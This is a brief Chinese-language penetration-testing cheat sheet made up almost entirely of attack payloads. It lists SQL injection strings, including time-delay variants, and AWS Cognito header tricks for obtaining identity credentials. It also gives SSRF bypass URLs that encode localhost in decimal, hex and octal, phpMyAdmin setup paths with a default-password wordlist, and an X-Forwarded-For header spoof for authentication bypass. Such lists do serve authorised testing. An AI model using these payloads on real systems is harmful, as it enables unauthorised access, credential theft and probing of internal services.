漏洞挖掘trips-1

漏洞挖掘trips-1

sql注入快速检测

' OR 1=1--
' OR 1=0--
%27%20or%201=1
*(|(object=*))
)%20or%20('x'='x
%20or%201=1
1) or pg_sleep(__TIME__)--
/**/or/**/1/**/=1
' or username like '%
);waitfor delay '0:0:__TIME__'--
or isNULL(1/0) /*
x' or 1=1 or 'x'='y

AWS Cognito 配置错误

X-AMZ-Target：AWSCognitoIdentityProviderService.ConfirmSignUp
X-AMZ-Target：AWSCognitoIdentityProviderService.GetUser
获取凭证访问密钥 ID 和密钥 将标头更改为这样并观察响应
X-AMZ-TARGET：AWSCognitoIdentityService.GetCredentialsForIdentity

SSRF Bypass技巧

SSRF Bypasses

http://0.0.0.0
http://0
http://0x7f000001
http://2130706433
http://0000::1
http://0000::1:25
http://0000::1:22
http://0000::1:3128
http://2130706433
http://3232235521
http://3232235777
http://2852039166
http://0o177.0.0.1

PHPMyadmin渗透技巧

当默认凭据在#phpmyadmin登录时不起作用时，我会尝试访问这些路径

admin/phpMyAdmin/setup/index.php
phpMyAdmin/main.php
phpmyadmin/pma/
Admin/setup/index.php
phpmyadmin/admin/setup/index.php
phpmyadmin/setup/
phpmyadmin/setup/index.php

尝试以下账号密码

admin:admin
admin:a
admin:12346578
test:test
guest:guest
anonymous:anonymous
admin:password
admin:
root:toor
root:passw0rd
root:root
guest:test
$sub_name:password
ADMIN:ADMIN
Admin:Admin
:
a:a

身份绕过小技巧,修改XFF头

Authentication bypass.... 

Using custom header (See attached screenshot):

X-Forwarded-For: 127.0.0.1